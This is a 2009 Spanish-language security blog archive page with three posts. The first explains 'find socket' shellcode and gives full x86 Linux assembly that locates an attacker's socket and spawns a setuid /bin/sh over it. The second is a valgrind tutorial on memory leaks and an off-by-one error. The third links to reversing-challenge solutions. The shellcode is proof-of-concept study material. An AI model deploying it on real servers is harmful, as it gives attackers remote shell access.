Archive

Archive for April, 2009

Find Socket & Spawns a Shell (PoC Shellcode)

April 25th, 2009 No comments

El payload más común cuando se explota una vulnerabilidad remota en un servidor, es una bind/reverse shellcode, pero en la mayoría de los casos nos será inútil debido a la existencia de un cortafuegos que bloquea la conexión, por esto mismo existen las shellcodes “Find Socket”, para buscar un socket (del atacante) abierto, y lanzar sobre la conexión establecida una consola remota. Naturalmente, existen varios tipos dentro de esta shell, y la diferencia consiste en el método de encontrar el socket del atacante.

Para esto existen básicamente dos opciones:

  1. getpeername
  2. read/recv

Como sus nombres indican, la primera de ellas obtiene los datos del cliente de un socket, y la segunda lee los datos del conector a un buffer.

A primera vista parece que la mejor opción es usar “getpeername“, pero habrá entornos (nat) en los que los datos que nos devuelve esta función no serán los que esperemos. Precisamente por esto, se suele usar recv/read para localizar el socket. La idea es, que después de explotar corréctamente la vulnerabilidad, enviemos una cadena identificada por la shellcode, para obtener el socket y lanzar la consola.

Para conseguir identificar la cadena, se activa el flag O_NONBLOCK del socket mediante “fcntl” (enviando un IOCTL (F_GETF) y obtener los flags del descriptor,  hacer una OR con O_NONBLOCK y enviarle este valor mediante otro IOCTL (F_SETF)), después de esto se leen N bytes del socket, y se establecen los flags originales.

Hecho esto, si los N bytes leídos coinciden con los identificados por la shellcode, lanzará la consola por ese socket, y si no coincide, incrementará el valor del descriptor y volverá a hacer lo mismo.

Si bien la idea es buena como prueba de concepto, en un escenario real habría que saber ciertos datos de la conexión que un cliente no tiene por qué saber (incluso no puede saberlo), como el tamaño del buffer de recepción del servidor, e incluso en caso de saberlo, si el servidor maneja los datos recibidos antes que la shellcode, esta se saltaría el socket y no tendríamos la consola.

Pero inconvenientes a parte, he estado haciendo una prueba de concepto cuyo código tenéis a continuación, aunque falta activar el flag O_NONBLOCK del socket ;-)

push 0x586F5267
mov edi,esp ;buffer esperado 'gRoX'
push byte 1
mov esi,esp;buffer de recepcion
xor eax,eax
push ax
push byte 4 ;length
push esi ;buffer recv
cdq
lea ebx,[edx+0x0a]
;busqueda del socket
bucle:
;recv(...);
push edx ;socket
mov ecx,esp
push byte 0x66
pop eax
int 80h
pop edx
xchg eax,ecx
push esi
push edi
repe cmpsb
pop edi
pop esi
jne sigue
;hemos encontrado nuestro socket
;lanzamos la consola
;dup2
mov eax,ecx
xchg ebx,edx
mov cl,2
dup:
mov al,0x3f
int 80h
dec ecx
jns dup
;setuid()
xchg ebx,eax
mov al,0x17
cdq
int 80h
;execve()
inc ecx
push ebx
push 0x68732f6e
push 0x69622f2f
mov al,0x0b
mov ebx,esp
int 80h
mov dx,0xfffe
sigue:
inc dx
cmp dx,0xffff ;valor max.
jne bucle
Categories: ASM, GNU/Linux, Programacion, Shellcodes Tags:

Análisis dinámico de ejecutables en GNU/Linux

April 18th, 2009 No comments

Normalmente, cuando estamos desarrollando una aplicación y queremos depurarla para ver una descripción más detallada de los posibles errores, solemos usar GDB (GNU Debugger), para hacer una traza de las llamadas a rutinas, ver el contenido de la pila, registros, etc.

Todo este procedimiento está muy bien para subsanar errores, pero ¿y si lo que queremos no es solo subsanar errores sino que además queremos optimizar nuestra aplicación? Es bien sabido que se le pueden pasar ciertos parámetros al compilador para ayudarnos en esta tarea (optimización de código en tamaño y velocidad, uso variables no inicializadas, errores/warnings de conversión de tipos, arquitectura, estándares, etc.) pero ¿qué hay de la gestión que realiza nuestra aplicación de la memoria dinámica? Además de que por accidente reservemos menos memoria de la que necesitamos (olvidando un “+1″ en algún calloc) que puede no fallar siempre, y que hará que nos dejemos los ojos buscando el error, puede que olvidemos un free que puede “no tener importancia”, pero que después de un tiempo de ejecución el sistema se ralentiza y la aplicación nos suelta un precioso mensaje de “Violación de segmento”.

Para analizar todos estos problemas en tiempo de ejecución, existe una herramienta de análisis y depuración dinámica para las plataformas “X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.” (*BSD??), llamada “valgrind“.

Veamos un ejemplo con el siguiente programa:

#include <stdlib.h>

int main()
{
        char *x=calloc(10,sizeof(char));
        return 0;
}

Para que valgrind sea capaz de darnos una información más detallada, vamos a compilar este programa con la opción “-g” de gcc para incluir los símbolos.

Analizamos con valgrind:

$ valgrind ./p1
==30042== Memcheck, a memory error detector.
==30042== Copyright (C) 2002-2007, and GNU GPL’d, by Julian Seward et al.
==30042== Using LibVEX rev 1854, a library for dynamic binary translation.
==30042== Copyright (C) 2004-2007, and GNU GPL’d, by OpenWorks LLP.
==30042== Using valgrind-3.3.1-Debian, a dynamic binary instrumentation framework.
==30042== Copyright (C) 2000-2007, and GNU GPL’d, by Julian Seward et al.
==30042== For more details, rerun with: -v
==30042==
==30042==
==30042== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)
==30042== malloc/free: in use at exit: 10 bytes in 1 blocks.
==30042== malloc/free: 1 allocs, 0 frees, 10 bytes allocated.
==30042== For counts of detected errors, rerun with: -v
==30042== searching for pointers to 1 not-freed blocks.
==30042== checked 59,868 bytes.
==30042==
==30042== LEAK SUMMARY:
==30042==    definitely lost: 10 bytes in 1 blocks.
==30042==      possibly lost: 0 bytes in 0 blocks.
==30042==    still reachable: 0 bytes in 0 blocks.
==30042==         suppressed: 0 bytes in 0 blocks.
==30042== Rerun with –leak-check=full to see details of leaked memory.

Inicialmente, nos informa de que hemos reservado 10 bytes que no han sido liberados antes de finalizar el programa. Ahora ejecutaremos valgrind con la opción “–leak-check=full” para mayor información, y además de la información anterior, nos dice:

==30171== 10 bytes in 1 blocks are definitely lost in loss record 1 of 1
==30171==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==30171==    by 0x80483C8: main (p1.c:5)

Este ejemplo es muy básico, y solo nos muestra un mensaje de error, así que ahora vamos a provocar un error menos evidente colocando correctamente las llamadas a free:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)]='B';
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Aparentemente parece que todo está bien, incluso si lo compilamos y ejecutamos, lo más probable es que tengamos los printf`s esperados, así que compilando de nuevo con la opción “-g” vamos a ver qué dice valgrind:

$ valgrind –leak-check=full ./p1
==32101== Invalid write of size 1
==32101==    at 0×8048469: main (p1.c:14)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0×4024483: strlen (mc_replace_strmem.c:242)
==32101==    by 0×4094604: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x40A0C38: _IO_default_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x409DCB0: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DADC: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DA6B: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
==32101==
==32101== ERROR SUMMARY: 29 errors from 5 contexts (suppressed: 13 from 1)
==32101== malloc/free: in use at exit: 0 bytes in 0 blocks.
==32101== malloc/free: 6 allocs, 6 frees, 36 bytes allocated.
==32101== For counts of detected errors, rerun with: -v
==32101== All heap blocks were freed — no leaks are possible.

Según valgrind, tenemos errores en las lineas 11 y 15:

11: p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
15: printf("%s\n",p[i]);

Aunque todo parece estar bien, el error no está en esas líneas, sino que en esas líneas es donde se produce el error. Si se revisan las posiciones del array “p” y los accesos a sus posiciones,  vemos que en la linea 14 estamos accediendo a:

14: p[i][sizeof(p)/sizeof(*p)]='B';

Vamos a verlo de otra manera, reemplazamos “sizeof(p)/sizeof(*p)” por el número ’6′ para hacer el asunto más evidente:

11: p[i]=(char*)calloc(6,sizeof(char));
14: p[i][6]='B';

Se ve claro que la última posición del array ‘p[i]‘ no es 6 sino 5, por tanto al recorrer el array y asignar a cada una de sus posiciones un valor distinto de nulo, incluso en la posición 6 que está fuera del array:

12: for(j=0;j<6;j++)
13:	p[i][j]='a';
14: p[i][6]='B';

La llamada a “printf” fallará al calcular la longitud del array, ya que buscará un carácter nulo fuera de los límites del array, y esto es de lo que nos advierte valgrind. El código correcto en este caso sería:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)-1]=0;
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Por supuesto valgrind no está limitado a los casos que he planteado, a su vez puede cargar varias herramientas a modo de plugins para ayudarnos en el análisis (simulación de memoria caché, gráficos de llamadas, heap profiler, etc.).

Más información sobre valgrind:

http://www.valgrind.org/
http://en.wikipedia.org/wiki/Valgrind

Categories: C/C++, GNU/Linux, Programacion, Seguridad Tags:

Reto Panda Security #1 – Solucion (Actualizado II)

April 3rd, 2009 No comments

Así es, a demás de solucionarlo, AbsshA ha escrito un paper documentando el reto.

Descargar

Actualizado:

Otro documento explicativo sobre la resolución del reto ha sido publicado por Thor, dividido en tres partes:

http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda.html
http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-ii-parte.html
http://el-blog-de-thor.blogspot.com/2009/04/solucion-al-reto-1-de-panda-iii-parte.html

Atualizado II:

Solucion Reto 2
Solucion Reto 3

Categories: Ing. Inversa, MS Windows, Programacion, Retos Tags: